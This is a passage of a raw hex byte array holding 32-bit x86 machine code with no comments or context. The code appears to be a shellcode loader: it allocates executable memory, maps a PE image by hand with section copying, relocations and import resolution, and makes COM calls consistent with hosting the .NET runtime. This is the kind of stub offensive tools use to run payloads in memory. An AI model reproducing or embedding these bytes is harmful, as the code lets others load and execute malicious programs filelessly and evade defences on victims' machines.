0x59, 0x59, 0x85, 0xc0, 0x75, 0xbc, 0x40, 0xeb, 0x02, 0x33, 0xc0, 0x5f,
0x5e, 0xc9, 0xc3, 0x55, 0x8b, 0xec, 0x83, 0xec, 0x1c, 0x83, 0x7d, 0x0c,
0x00, 0x74, 0x31, 0x6a, 0x1c, 0x8d, 0x45, 0xe4, 0x50, 0x8b, 0x45, 0x08,
0xff, 0x75, 0x0c, 0xff, 0x50, 0x44, 0x83, 0xf8, 0x1c, 0x75, 0x1d, 0x81,
0x7d, 0xf4, 0x00, 0x10, 0x00, 0x00, 0x75, 0x14, 0x81, 0x7d, 0xfc, 0x00,
0x00, 0x02, 0x00, 0x75, 0x0b, 0x83, 0x7d, 0xf8, 0x04, 0x75, 0x05, 0x33,
0xc0, 0x40, 0xc9, 0xc3, 0x33, 0xc0, 0xc9, 0xc3, 0x81, 0xec, 0x10, 0x02,
0x00, 0x00, 0x53, 0x8b, 0x9c, 0x24, 0x18, 0x02, 0x00, 0x00, 0x33, 0xc0,
0x21, 0x44, 0x24, 0x04, 0x55, 0x8b, 0xac, 0x24, 0x24, 0x02, 0x00, 0x00,
0x8b, 0x8b, 0xc0, 0x00, 0x00, 0x00, 0x56, 0x57, 0x85, 0xc9, 0x0f, 0x84,
0xbd, 0x01, 0x00, 0x00, 0x55, 0x8d, 0x83, 0x24, 0x06, 0x00, 0x00, 0x50,
0x8d, 0x83, 0x14, 0x06, 0x00, 0x00, 0x50, 0xff, 0xd1, 0x8b, 0xb4, 0x24,
0x28, 0x02, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x88, 0x7b, 0x01, 0x00, 0x00,
0x8d, 0x44, 0x24, 0x20, 0x50, 0x8d, 0x46, 0x0c, 0x50, 0x53, 0xe8, 0xdf,
0x10, 0x00, 0x00, 0x8b, 0x55, 0x00, 0x8d, 0x7d, 0x04, 0x83, 0xc4, 0x0c,
0x8d, 0x83, 0x34, 0x06, 0x00, 0x00, 0x8b, 0x0a, 0x57, 0x50, 0x8d, 0x44,
0x24, 0x28, 0x50, 0x52, 0xff, 0x51, 0x0c, 0x85, 0xc0, 0x78, 0x38, 0x8b,
0x07, 0x8d, 0x54, 0x24, 0x14, 0x52, 0x50, 0x8b, 0x08, 0xff, 0x51, 0x28,
0x85, 0xc0, 0x0f, 0x88, 0x3b, 0x01, 0x00, 0x00, 0x83, 0x7c, 0x24, 0x14,
0x00, 0x74, 0x1f, 0x8b, 0x0f, 0x8d, 0x45, 0x08, 0x50, 0x8d, 0x83, 0x54,
0x06, 0x00, 0x00, 0x50, 0x8b, 0x11, 0x8d, 0x83, 0x44, 0x06, 0x00, 0x00,
0x50, 0x51, 0xff, 0x52, 0x24, 0xeb, 0x03, 0x83, 0x27, 0x00, 0x85, 0xc0,
0x0f, 0x88, 0x0d, 0x01, 0x00, 0x00, 0x8b, 0x45, 0x08, 0x50, 0x8b, 0x08,
0xff, 0x51, 0x28, 0x85, 0xc0, 0x0f, 0x88, 0xe9, 0x00, 0x00, 0x00, 0x8d,
0x44, 0x24, 0x20, 0x50, 0x8d, 0x86, 0x0c, 0x01, 0x00, 0x00, 0x50, 0x53,
0xe8, 0x59, 0x10, 0x00, 0x00, 0x83, 0xc4, 0x0c, 0x8d, 0x44, 0x24, 0x20,
0x50, 0xff, 0x93, 0x8c, 0x00, 0x00, 0x00, 0x8b, 0x55, 0x08, 0x8b, 0xf8,
0x8d, 0x45, 0x0c, 0x50, 0x6a, 0x00, 0x8b, 0x0a, 0x57, 0x52, 0xff, 0x51,
0x30, 0x57, 0x8b, 0xf0, 0xff, 0x93, 0x90, 0x00, 0x00, 0x00, 0x85, 0xf6,
0x0f, 0x88, 0xa6, 0x00, 0x00, 0x00, 0x8b, 0x55, 0x0c, 0x8d, 0x45, 0x10,
0x50, 0x8d, 0x83, 0x64, 0x06, 0x00, 0x00, 0x50, 0x8b, 0x0a, 0x52, 0xff,
0x11, 0x85, 0xc0, 0x0f, 0x88, 0x8b, 0x00, 0x00, 0x00, 0x8b, 0xb4, 0x24,
0x28, 0x02, 0x00, 0x00, 0x83, 0x64, 0x24, 0x1c, 0x00, 0x8b, 0x86, 0x24,
0x05, 0x00, 0x00, 0x89, 0x44, 0x24, 0x18, 0x8d, 0x44, 0x24, 0x18, 0x50,
0x6a, 0x01, 0x6a, 0x11, 0xff, 0x53, 0x74, 0x8b, 0xf8, 0x85, 0xff, 0x74,
0x63, 0x8b, 0x57, 0x0c, 0x33, 0xc9, 0x39, 0x8e, 0x24, 0x05, 0x00, 0x00,
0x76, 0x13, 0x8a, 0x84, 0x0e, 0x28, 0x05, 0x00, 0x00, 0x88, 0x04, 0x0a,
0x41, 0x3b, 0x8e, 0x24, 0x05, 0x00, 0x00, 0x72, 0xed, 0x8b, 0x4d, 0x10,
0x8d, 0x45, 0x14, 0x50, 0x57, 0x51, 0x8b, 0x11, 0xff, 0x92, 0xb4, 0x00,
0x00, 0x00, 0xf7, 0xd8, 0x1b, 0xc0, 0x33, 0xd2, 0x40, 0x8b, 0xca, 0x89,
0x44, 0x24, 0x10, 0x8b, 0x47, 0x0c, 0x39, 0x96, 0x24, 0x05, 0x00, 0x00,
0x76, 0x13, 0x88, 0x94, 0x0e, 0x28, 0x05, 0x00, 0x00, 0x88, 0x14, 0x08,
0x41, 0x3b, 0x8e, 0x24, 0x05, 0x00, 0x00, 0x72, 0xed, 0x57, 0xff, 0x93,
0x80, 0x00, 0x00, 0x00, 0x8b, 0x44, 0x24, 0x10, 0x5f, 0x5e, 0x5d, 0x5b,
0x81, 0xc4, 0x10, 0x02, 0x00, 0x00, 0xc3, 0x83, 0x65, 0x00, 0x00, 0x8d,
0x45, 0x08, 0x50, 0x8d, 0x83, 0x54, 0x06, 0x00, 0x00, 0x50, 0x8d, 0x83,
0x44, 0x06, 0x00, 0x00, 0x50, 0x6a, 0x00, 0x6a, 0x00, 0xff, 0x93, 0xbc,
0x00, 0x00, 0x00, 0xeb, 0x07, 0x8b, 0xb4, 0x24, 0x28, 0x02, 0x00, 0x00,
0x85, 0xc0, 0x0f, 0x89, 0xc6, 0xfe, 0xff, 0xff, 0x83, 0x65, 0x08, 0x00,
0x33, 0xc0, 0xeb, 0xbc, 0x81, 0xec, 0x3c, 0x01, 0x00, 0x00, 0x53, 0x55,
0x56, 0x8b, 0xb4, 0x24, 0x4c, 0x01, 0x00, 0x00, 0x57, 0xff, 0x76, 0x2c,
0xff, 0x76, 0x28, 0xff, 0x76, 0x4c, 0xff, 0x76, 0x48, 0x56, 0xe8, 0x3c,
0x0f, 0x00, 0x00, 0xff, 0x76, 0x2c, 0x8b, 0xe8, 0xff, 0x76, 0x28, 0x89,
0x6c, 0x24, 0x34, 0xff, 0x76, 0x54, 0xff, 0x76, 0x50, 0x56, 0xe8, 0x24,
0x0f, 0x00, 0x00, 0xff, 0x76, 0x2c, 0x8b, 0xf8, 0xff, 0x76, 0x28, 0x89,
0x7c, 0x24, 0x44, 0xff, 0xb6, 0x9c, 0x01, 0x00, 0x00, 0xff, 0xb6, 0x98,
0x01, 0x00, 0x00, 0x56, 0xe8, 0x06, 0x0f, 0x00, 0x00, 0x83, 0xc4, 0x3c,
0x8b, 0xd8, 0x89, 0x5c, 0x24, 0x10, 0x85, 0xed, 0x74, 0x27, 0x85, 0xff,
0x74, 0x23, 0x85, 0xdb, 0x74, 0x1f, 0x6a, 0x04, 0x68, 0x00, 0x30, 0x00,
0x00, 0xff, 0x36, 0x6a, 0x00, 0xff, 0xd5, 0x8b, 0xf8, 0x85, 0xff, 0x75,
0x1a, 0x83, 0xbe, 0x30, 0x02, 0x00, 0x00, 0x02, 0x75, 0x03, 0x50, 0xff,
0xd3, 0x83, 0xc8, 0xff, 0x5f, 0x5e, 0x5d, 0x5b, 0x81, 0xc4, 0x3c, 0x01,
0x00, 0x00, 0xc3, 0xff, 0x36, 0x56, 0x57, 0xe8, 0x29, 0x13, 0x00, 0x00,
0x6a, 0x20, 0x8d, 0x44, 0x24, 0x38, 0x6a, 0x00, 0x50, 0xe8, 0x3f, 0x13,
0x00, 0x00, 0x83, 0xc4, 0x18, 0x83, 0xbf, 0x34, 0x02, 0x00, 0x00, 0x03,
0x75, 0x49, 0x8b, 0x07, 0x2d, 0x40, 0x02, 0x00, 0x00, 0x50, 0x8d, 0x87,
0x40, 0x02, 0x00, 0x00, 0x50, 0x8d, 0x47, 0x14, 0x50, 0x8d, 0x47, 0x04,
0x50, 0xe8, 0xee, 0x0f, 0x00, 0x00, 0xff, 0x77, 0x2c, 0x8d, 0x87, 0xf0,
0x07, 0x00, 0x00, 0xff, 0x77, 0x28, 0x50, 0xe8, 0xb6, 0x0e, 0x00, 0x00,
0x83, 0xc4, 0x1c, 0x3b, 0x87, 0xf0, 0x08, 0x00, 0x00, 0x0f, 0x85, 0x52,
0x02, 0x00, 0x00, 0x3b, 0x97, 0xf4, 0x08, 0x00, 0x00, 0x0f, 0x85, 0x46,
0x02, 0x00, 0x00, 0xff, 0x77, 0x2c, 0xff, 0x77, 0x28, 0xff, 0x77, 0x34,
0xff, 0x77, 0x30, 0x57, 0xe8, 0x46, 0x0e, 0x00, 0x00, 0x83, 0xc4, 0x14,
0x89, 0x47, 0x30, 0x85, 0xc0, 0x0f, 0x84, 0x66, 0xff, 0xff, 0xff, 0x8d,
0xb7, 0x44, 0x02, 0x00, 0x00, 0x8a, 0x0e, 0x33, 0xc0, 0x84, 0xc9, 0x74,
0x35, 0x8d, 0x5c, 0x24, 0x48, 0x8b, 0xd6, 0x2b, 0xde, 0x80, 0xf9, 0x3b,
0x74, 0x12, 0x3d, 0x04, 0x01, 0x00, 0x00, 0x73, 0x0b, 0x88, 0x0c, 0x1a,
0x40, 0x42, 0x8a, 0x0a, 0x84, 0xc9, 0x75, 0xe9, 0x85, 0xc0, 0x74, 0x12,
0x46, 0xc6, 0x44, 0x04, 0x48, 0x00, 0x03, 0xf0, 0x8d, 0x44, 0x24, 0x48,
0x50, 0xff, 0x57, 0x30, 0xeb, 0xc3, 0x33, 0xdb, 0x43, 0x39, 0x9f, 0x40,
0x02, 0x00, 0x00, 0x76, 0x38, 0x8d, 0x6f, 0x34, 0x8d, 0x77, 0x38, 0xff,
0x77, 0x2c, 0xff, 0x77, 0x28, 0xff, 0x76, 0x04, 0xff, 0x36, 0x57, 0xe8,
0xd3, 0x0d, 0x00, 0x00, 0x83, 0xc4, 0x14, 0x89, 0x45, 0x00, 0x85, 0xc0,
0x0f, 0x84, 0xaf, 0x01, 0x00, 0x00, 0x43, 0x83, 0xc6, 0x08, 0x83, 0xc5,
0x04, 0x3b, 0x9f, 0x40, 0x02, 0x00, 0x00, 0x72, 0xd2, 0x8b, 0x6c, 0x24,
0x18, 0x8b, 0x87, 0xe4, 0x06, 0x00, 0x00, 0x83, 0xf8, 0x02, 0x75, 0x17,
0x57, 0xe8, 0x45, 0xf3, 0xff, 0xff, 0x59, 0x85, 0xc0, 0x0f, 0x84, 0x82,
0x01, 0x00, 0x00, 0x8b, 0xb7, 0x20, 0x09, 0x00, 0x00, 0xeb, 0x18, 0x83,
0xf8, 0x03, 0x0f, 0x84, 0x71, 0x01, 0x00, 0x00, 0x8d, 0xb7, 0x20, 0x09,
0x00, 0x00, 0x83, 0xf8, 0x01, 0x74, 0x04, 0x8b, 0x74, 0x24, 0x18, 0x83,
0xbf, 0x6c, 0x05, 0x00, 0x00, 0x01, 0x74, 0x30, 0x57, 0xe8, 0x41, 0xf1,
0xff, 0xff, 0x59, 0x85, 0xc0, 0x75, 0x0d, 0x83, 0xbf, 0x6c, 0x05, 0x00,
0x00, 0x02, 0x0f, 0x84, 0x41, 0x01, 0x00, 0x00, 0x57, 0xe8, 0x0f, 0xf2,
0xff, 0xff, 0x59, 0x85, 0xc0, 0x75, 0x0d, 0x83, 0xbf, 0x6c, 0x05, 0x00,
0x00, 0x02, 0x0f, 0x84, 0x29, 0x01, 0x00, 0x00, 0x83, 0x7e, 0x08, 0x01,
0x0f, 0x84, 0xc0, 0x00, 0x00, 0x00, 0x8b, 0x86, 0x24, 0x05, 0x00, 0x00,
0x6a, 0x04, 0x68, 0x00, 0x30, 0x00, 0x00, 0x05, 0x30, 0x05, 0x00, 0x00,
0x50, 0x6a, 0x00, 0xff, 0xd5, 0x8b, 0xd8, 0x85, 0xdb, 0x0f, 0x84, 0xfe,
0x00, 0x00, 0x00, 0x68, 0x30, 0x05, 0x00, 0x00, 0x56, 0x53, 0xe8, 0x76,
0x11, 0x00, 0x00, 0x8b, 0x46, 0x08, 0x83, 0xc4, 0x0c, 0x83, 0xf8, 0x03,
0x74, 0x26, 0x83, 0xf8, 0x04, 0x74, 0x21, 0x83, 0xf8, 0x05, 0x74, 0x1c,
0x83, 0xf8, 0x02, 0x75, 0x79, 0x8d, 0x83, 0x28, 0x05, 0x00, 0x00, 0x50,
0x8d, 0x86, 0x28, 0x05, 0x00, 0x00, 0x50, 0xe8, 0x4f, 0x0f, 0x00, 0x00,
0x59, 0x59, 0xeb, 0x60, 0x8d, 0x44, 0x24, 0x1c, 0xbd, 0x00, 0x01, 0x00,
0x00, 0x50, 0x8d, 0x44, 0x24, 0x24, 0x50, 0x66, 0x8b, 0x46, 0x08, 0x66,
0x48, 0x66, 0x0b, 0xc5, 0x0f, 0xb7, 0xc0, 0x50, 0xff, 0x97, 0xec, 0x00,
0x00, 0x00, 0x85, 0xc0, 0x0f, 0x85, 0x97, 0x00, 0x00, 0x00, 0x8d, 0x44,
0x24, 0x24, 0x50, 0xff, 0xb6, 0x20, 0x05, 0x00, 0x00, 0x8d, 0x86, 0x28,
0x05, 0x00, 0x00, 0x50, 0xff, 0xb6, 0x24, 0x05, 0x00, 0x00, 0x8d, 0x83,
0x28, 0x05, 0x00, 0x00, 0x50, 0x66, 0x8b, 0x46, 0x08, 0x66, 0x48, 0x66,
0x0b, 0xc5, 0x0f, 0xb7, 0xc0, 0x50, 0xff, 0x97, 0xf0, 0x00, 0x00, 0x00,
0x85, 0xc0, 0x75, 0x61, 0x8b, 0xf3, 0x83, 0x3e, 0x03, 0x74, 0x51, 0x83,
0x3e, 0x04, 0x74, 0x4c, 0x83, 0x3e, 0x01, 0x74, 0x18, 0x83, 0x3e, 0x02,
0x74, 0x13, 0x83, 0x3e, 0x05, 0x74, 0x05, 0x83, 0x3e, 0x06, 0x75, 0x41,
0x56, 0x57, 0xe8, 0x35, 0x08, 0x00, 0x00, 0xeb, 0x36, 0x8d, 0x44, 0x24,
0x28, 0x50, 0x56, 0x57, 0xe8, 0xe3, 0xfa, 0xff, 0xff, 0x83, 0xc4, 0x0c,
0x85, 0xc0, 0x74, 0x0f, 0x8d, 0x44, 0x24, 0x28, 0x50, 0x56, 0x57, 0xe8,
0x95, 0x00, 0x00, 0x00, 0x83, 0xc4, 0x0c, 0x8d, 0x44, 0x24, 0x28, 0x50,
0x57, 0xe8, 0x9a, 0xf5, 0xff, 0xff, 0xeb, 0x07, 0x56, 0x57, 0xe8, 0xc3,
0x03, 0x00, 0x00, 0x59, 0x59, 0x8b, 0x5c, 0x24, 0x10, 0x8b, 0x87, 0xe4,
0x06, 0x00, 0x00, 0x83, 0xf8, 0x02, 0x74, 0x05, 0x83, 0xf8, 0x03, 0x75,
0x37, 0x8b, 0x87, 0x20, 0x09, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x2d, 0xff,
0xb7, 0x18, 0x09, 0x00, 0x00, 0x6a, 0x00, 0x50, 0xe8, 0x7c, 0x10, 0x00,
0x00, 0x8b, 0x6c, 0x24, 0x20, 0x83, 0xc4, 0x0c, 0x68, 0x00, 0xc0, 0x00,
0x00, 0x6a, 0x00, 0xff, 0xb7, 0x20, 0x09, 0x00, 0x00, 0xff, 0xd5, 0x83,
0xa7, 0x20, 0x09, 0x00, 0x00, 0x00, 0xeb, 0x04, 0x8b, 0x6c, 0x24, 0x14,
0xff, 0x37, 0x8b, 0xb7, 0x30, 0x02, 0x00, 0x00, 0x6a, 0x00, 0x57, 0xe8,
0x49, 0x10, 0x00, 0x00, 0x83, 0xc4, 0x0c, 0x68, 0x00, 0xc0, 0x00, 0x00,
0x6a, 0x00, 0x57, 0xff, 0xd5, 0x83, 0xfe, 0x02, 0x75, 0x04, 0x6a, 0x00,
0xff, 0xd3, 0x33, 0xc0, 0xe9, 0xcb, 0xfc, 0xff, 0xff, 0x81, 0xec, 0x7c,
0x02, 0x00, 0x00, 0x53, 0x55, 0x56, 0x8b, 0xb4, 0x24, 0x90, 0x02, 0x00,
0x00, 0x33, 0xc0, 0x57, 0x8d, 0x7c, 0x24, 0x48, 0x33, 0xed, 0x21, 0x6c,
0x24, 0x1c, 0xab, 0xab, 0xab, 0xab, 0x33, 0xc0, 0x83, 0x3e, 0x02, 0x66,
0x89, 0x44, 0x24, 0x18, 0x0f, 0x85, 0x87, 0x01, 0x00, 0x00, 0x8b, 0x84,
0x24, 0x98, 0x02, 0x00, 0x00, 0x8b, 0x48, 0x14, 0x8d, 0x78, 0x1c, 0x57,
0x51, 0x8b, 0x01, 0xff, 0x50, 0x40, 0x85, 0xc0, 0x0f, 0x88, 0x64, 0x01,
0x00, 0x00, 0x8b, 0x07, 0x8d, 0x54, 0x24, 0x1c, 0x52, 0x50, 0x8b, 0x08,
0xff, 0x51, 0x48, 0x85, 0xc0, 0x0f, 0x88, 0xd5, 0x02, 0x00, 0x00, 0x8b,
0x9c, 0x24, 0x90, 0x02, 0x00, 0x00, 0x8d, 0x44, 0x24, 0x2c, 0x50, 0x6a,
0x01, 0xff, 0x74, 0x24, 0x24, 0xff, 0x93, 0x84, 0x00, 0x00, 0x00, 0x8d,
0x44, 0x24, 0x28, 0x50, 0x6a, 0x01, 0xff, 0x74, 0x24, 0x24, 0xff, 0x93,
0x88, 0x00, 0x00, 0x00, 0x8b, 0x44, 0x24, 0x28, 0x2b, 0x44, 0x24, 0x2c,
0x83, 0xc0, 0x01, 0x0f, 0x84, 0xcc, 0x00, 0x00, 0x00, 0x6a, 0x01, 0x55,
0x6a, 0x0c, 0xff, 0x53, 0x78, 0x81, 0xc6, 0x0c, 0x04, 0x00, 0x00, 0x8b,
0xe8, 0x80, 0x3e, 0x00, 0x74, 0x70, 0x8d, 0x84, 0x24, 0x88, 0x00, 0x00,
0x00, 0x50, 0x56, 0x53, 0xe8, 0xb5, 0x0a, 0x00, 0x00, 0x83, 0xc4, 0x0c,
0x8d, 0x44, 0x24, 0x14, 0x50, 0x8d, 0x84, 0x24, 0x8c, 0x00, 0x00, 0x00,
0x50, 0xff, 0x53, 0x70, 0xff, 0x74, 0x24, 0x14, 0x8b, 0xf0, 0xb8, 0x08,
0x20, 0x00, 0x00, 0x6a, 0x00, 0x6a, 0x08, 0x66, 0x89, 0x44, 0x24, 0x44,
0xff, 0x53, 0x78, 0x33, 0xc9, 0x89, 0x44, 0x24, 0x40, 0x89, 0x4c, 0x24,
0x10, 0x39, 0x4c, 0x24, 0x14, 0x76, 0x5b, 0xff, 0x34, 0x8e, 0xff, 0x93,
0x8c, 0x00, 0x00, 0x00, 0x50, 0x8d, 0x44, 0x24, 0x14, 0x50, 0xff, 0x74,
0x24, 0x48, 0xff, 0x53, 0x7c, 0x8b, 0x4c, 0x24, 0x10, 0x41, 0x89, 0x4c,
0x24, 0x10, 0x3b, 0x4c, 0x24, 0x14, 0x72, 0xdb, 0xeb, 0x34, 0x6a, 0x01,
0x6a, 0x00, 0xb8, 0x08, 0x20, 0x00, 0x00, 0x6a, 0x08, 0x66, 0x89, 0x44,
0x24, 0x44, 0xff, 0x53, 0x78, 0x83, 0x64, 0x24, 0x10, 0x00, 0x89, 0x44,
0x24, 0x40, 0x8d, 0x44, 0x24, 0x18, 0x50, 0xff, 0x93, 0x8c, 0x00, 0x00,
0x00, 0x50, 0x8d, 0x44, 0x24, 0x14, 0x50, 0xff, 0x74, 0x24, 0x48, 0xff,
0x53, 0x7c, 0x83, 0x64, 0x24, 0x10, 0x00, 0x8d, 0x44, 0x24, 0x38, 0x50,
0x8d, 0x44, 0x24, 0x14, 0x50, 0x55, 0xff, 0x53, 0x7c, 0x83, 0x64, 0x24,
0x50, 0x00, 0x8d, 0x54, 0x24, 0x68, 0x52, 0x33, 0xc0, 0x8d, 0x74, 0x24,
0x4c, 0x40, 0x66, 0x89, 0x44, 0x24, 0x4c, 0x8b, 0x07, 0x55, 0x83, 0xec,
0x10, 0x8b, 0xfc, 0x8b, 0x08, 0x50, 0xa5, 0xa5, 0xa5, 0xa5, 0xff, 0x91,
0x94, 0x00, 0x00, 0x00, 0x85, 0xed, 0x0f, 0x84, 0x9c, 0x01, 0x00, 0x00,
0xff, 0x74, 0x24, 0x40, 0xff, 0x93, 0x80, 0x00, 0x00, 0x00, 0x55, 0xff,
0x93, 0x80, 0x00, 0x00, 0x00, 0xe9, 0x86, 0x01, 0x00, 0x00, 0x21, 0x2f,
0xe9, 0x7f, 0x01, 0x00, 0x00, 0x8b, 0x9c, 0x24, 0x90, 0x02, 0x00, 0x00,
0x8d, 0x84, 0x24, 0x88, 0x00, 0x00, 0x00, 0x50, 0x8d, 0x86, 0x0c, 0x02,
0x00, 0x00, 0x50, 0x53, 0xe8, 0xa1, 0x09, 0x00, 0x00, 0x83, 0xc4, 0x0c,
0x8d, 0x84, 0x24, 0x88, 0x00, 0x00, 0x00, 0x50, 0xff, 0x93, 0x8c, 0x00,
0x00, 0x00, 0x8b, 0xe8, 0x89, 0x6c, 0x24, 0x20, 0x85, 0xed, 0x0f, 0x84,
0x47, 0x01, 0x00, 0x00, 0x8d, 0x84, 0x24, 0x88, 0x00, 0x00, 0x00, 0x50,
0x8d, 0x86, 0x0c, 0x03, 0x00, 0x00, 0x50, 0x53, 0xe8, 0x6d, 0x09, 0x00,
0x00, 0x83, 0xc4, 0x0c, 0x8d, 0x84, 0x24, 0x88, 0x00, 0x00, 0x00, 0x50,
0xff, 0x93, 0x8c, 0x00, 0x00, 0x00, 0x89, 0x44, 0x24, 0x24, 0x85, 0xc0,
0x0f, 0x84, 0x0b, 0x01, 0x00, 0x00, 0x8b, 0x8c, 0x24, 0x98, 0x02, 0x00,
0x00, 0x8b, 0x51, 0x14, 0x8d, 0x79, 0x18, 0x57, 0x55, 0x52, 0x8b, 0x0a,
0x89, 0x7c, 0x24, 0x40, 0xff, 0x51, 0x44, 0x85, 0xc0, 0x0f, 0x88, 0xdf,
0x00, 0x00, 0x00, 0x81, 0xc6, 0x0c, 0x04, 0x00, 0x00, 0x33, 0xed, 0x80,
0x3e, 0x00, 0x0f, 0x84, 0x8f, 0x00, 0x00, 0x00, 0x8d, 0x84, 0x24, 0x88,
0x00, 0x00, 0x00, 0x50, 0x56, 0x53, 0xe8, 0x0f, 0x09, 0x00, 0x00, 0x83,
0xc4, 0x0c, 0x8d, 0x44, 0x24, 0x14, 0x50, 0x8d, 0x84, 0x24, 0x8c, 0x00,
0x00, 0x00, 0x50, 0xff, 0x53, 0x70, 0xff, 0x74, 0x24, 0x14, 0x89, 0x44,
0x24, 0x34, 0x55, 0x6a, 0x0c, 0xff, 0x53, 0x78, 0x8b, 0xe8, 0x85, 0xed,
0x74, 0x59, 0x33, 0xc9, 0x89, 0x4c, 0x24, 0x10, 0x39, 0x4c, 0x24, 0x14,
0x76, 0x4d, 0x8b, 0x7c, 0x24, 0x30, 0xff, 0x34, 0x8f, 0xff, 0x93, 0x8c,
0x00, 0x00, 0x00, 0x6a, 0x08, 0x89, 0x44, 0x24, 0x64, 0x58, 0x66, 0x89,
0x44, 0x24, 0x58, 0x8d, 0x44, 0x24, 0x58, 0x50, 0x8d, 0x44, 0x24, 0x14,
0x50, 0x55, 0xff, 0x53, 0x7c, 0x8b, 0xf0, 0x85, 0xf6, 0x79, 0x09, 0x55,
0xff, 0x93, 0x80, 0x00, 0x00, 0x00, 0x33, 0xed, 0x8b, 0x4c, 0x24, 0x10,
0x41, 0x89, 0x4c, 0x24, 0x10, 0x3b, 0x4c, 0x24, 0x14, 0x72, 0xbf, 0x8b,
0x7c, 0x24, 0x34, 0x85, 0xf6, 0x78, 0x3b, 0x8b, 0x07, 0x8d, 0x54, 0x24,
0x78, 0x52, 0x55, 0x83, 0xec, 0x10, 0x8d, 0x74, 0x24, 0x60, 0x8b, 0x08,
0x8b, 0xfc, 0x6a, 0x00, 0xa5, 0x68, 0x18, 0x01, 0x00, 0x00, 0xa5, 0xa5,
0xa5, 0x8b, 0x74, 0x24, 0x44, 0x56, 0x50, 0xff, 0x91, 0xe4, 0x00, 0x00,
0x00, 0x85, 0xed, 0x74, 0x07, 0x55, 0xff, 0x93, 0x80, 0x00, 0x00, 0x00,
0x8b, 0x6c, 0x24, 0x20, 0xeb, 0x08, 0x8b, 0x6c, 0x24, 0x20, 0x8b, 0x74,
0x24, 0x24, 0x56, 0xff, 0x93, 0x90, 0x00, 0x00, 0x00, 0x55, 0xff, 0x93,
0x90, 0x00, 0x00, 0x00, 0x33, 0xc0, 0x40, 0x5f, 0x5e, 0x5d, 0x5b, 0x81,
0xc4, 0x7c, 0x02, 0x00, 0x00, 0xc3, 0x81, 0xec, 0x20, 0x02, 0x00, 0x00,
0x53, 0x8b, 0x9c, 0x24, 0x28, 0x02, 0x00, 0x00, 0x33, 0xc0, 0x55, 0x8b,
0xac, 0x24, 0x30, 0x02, 0x00, 0x00, 0x81, 0xc5, 0x28, 0x05, 0x00, 0x00,
0x89, 0x44, 0x24, 0x1c, 0x57, 0x50, 0x89, 0x6c, 0x24, 0x28, 0x8b, 0x7d,
0x3c, 0x03, 0xfd, 0x89, 0x7c, 0x24, 0x20, 0xff, 0x53, 0x38, 0x66, 0x8b,
0x4f, 0x04, 0x8b, 0x50, 0x3c, 0x66, 0x3b, 0x4c, 0x02, 0x04, 0x0f, 0x85,
0xea, 0x03, 0x00, 0x00, 0x56, 0x6a, 0x40, 0xb8, 0x00, 0x30, 0x00, 0x00,
0xb9, 0x00, 0x10, 0x00, 0x00, 0x50, 0x89, 0x44, 0x24, 0x20, 0x8b, 0x47,
0x50, 0x03, 0xc1, 0x50, 0x6a, 0x00, 0xff, 0x53, 0x3c, 0x8b, 0xf0, 0x85,
0xf6, 0x0f, 0x84, 0xc2, 0x03, 0x00, 0x00, 0xff, 0x77, 0x54, 0x55, 0x56,
0xe8, 0x4c, 0x0c, 0x00, 0x00, 0x0f, 0xb7, 0x6f, 0x14, 0x33, 0xc0, 0x83,
0x64, 0x24, 0x1c, 0x00, 0x83, 0xc4, 0x0c, 0x83, 0xc5, 0x2c, 0x66, 0x3b,
0x47, 0x06, 0x73, 0x32, 0x8b, 0x5c, 0x24, 0x10, 0x03, 0xef, 0xff, 0x75,
0xfc, 0x8b, 0x45, 0x00, 0x03, 0x44, 0x24, 0x2c, 0x50, 0x8b, 0x45, 0xf8,
0x03, 0xc6, 0x50, 0xe8, 0x19, 0x0c, 0x00, 0x00, 0x0f, 0xb7, 0x47, 0x06,
0x8d, 0x6d, 0x28, 0x83, 0xc4, 0x0c, 0x43, 0x3b, 0xd8, 0x72, 0xdb, 0x8b,
0x9c, 0x24, 0x34, 0x02, 0x00, 0x00, 0x8b, 0x87, 0xa0, 0x00, 0x00, 0x00,
0x85, 0xc0, 0x74, 0x76, 0x8d, 0x2c, 0x30, 0x8b, 0xc6, 0x2b, 0x47, 0x34,
0x83, 0x7d, 0x00, 0x00, 0x89, 0x44, 0x24, 0x10, 0x74, 0x64, 0x8d, 0x4d,
0x08, 0xeb, 0x4b, 0x0f, 0xb7, 0x01, 0x8b, 0xd0, 0x25, 0x00, 0xf0, 0x00,
0x00, 0x89, 0x54, 0x24, 0x1c, 0x66, 0x3b, 0x44, 0x24, 0x18, 0x75, 0x25,
0x8b, 0xc2, 0x25, 0xff, 0x0f, 0x00, 0x00, 0x89, 0x44, 0x24, 0x1c, 0x03,
0x45, 0x00, 0x8b, 0x0c, 0x30, 0x03, 0x4c, 0x24, 0x10, 0x8b, 0x44, 0x24,
0x1c, 0x03, 0x45, 0x00, 0x89, 0x0c, 0x30, 0x8b, 0x4c, 0x24, 0x14, 0xeb,
0x0e, 0xb8, 0x00, 0x10, 0x00, 0x00, 0x66, 0x3b, 0xd0, 0x0f, 0x83, 0xfb,
0x02, 0x00, 0x00, 0x83, 0xc1, 0x02, 0x8b, 0x45, 0x04, 0x03, 0xc5, 0x89,
0x4c, 0x24, 0x14, 0x3b, 0xc8, 0x75, 0xa8, 0x83, 0x39, 0x00, 0x8b, 0xe9,
0x75, 0x9c, 0x8b, 0x87, 0x80, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x84,
0xa5, 0x00, 0x00, 0x00, 0x8d, 0x2c, 0x30, 0x8b, 0x45, 0x0c, 0x89, 0x6c,
0x24, 0x10, 0x85, 0xc0, 0x0f, 0x84, 0x93, 0x00, 0x00, 0x00, 0x8b, 0xbc,
0x24, 0x38, 0x02, 0x00, 0x00, 0x03, 0xc6, 0x50, 0xff, 0x53, 0x30, 0x8b,
0x55, 0x10, 0x89, 0x44, 0x24, 0x14, 0x03, 0xd6, 0x8b, 0x45, 0x00, 0x03,
0xc6, 0x89, 0x54, 0x24, 0x18, 0x89, 0x44, 0x24, 0x1c, 0x8b, 0x08, 0x85,
0xc9, 0x74, 0x54, 0x8b, 0xea, 0x79, 0x05, 0x0f, 0xb7, 0xc1, 0xeb, 0x28,
0x8d, 0x46, 0x02, 0x03, 0xc1, 0x83, 0x7f, 0x04, 0x00, 0x89, 0x44, 0x24,
0x18, 0x74, 0x19, 0x50, 0x53, 0xe8, 0xac, 0xf4, 0xff, 0xff, 0x59, 0x59,
0x85, 0xc0, 0x74, 0x08, 0x8b, 0x83, 0xe0, 0x00, 0x00, 0x00, 0xeb, 0x0c,
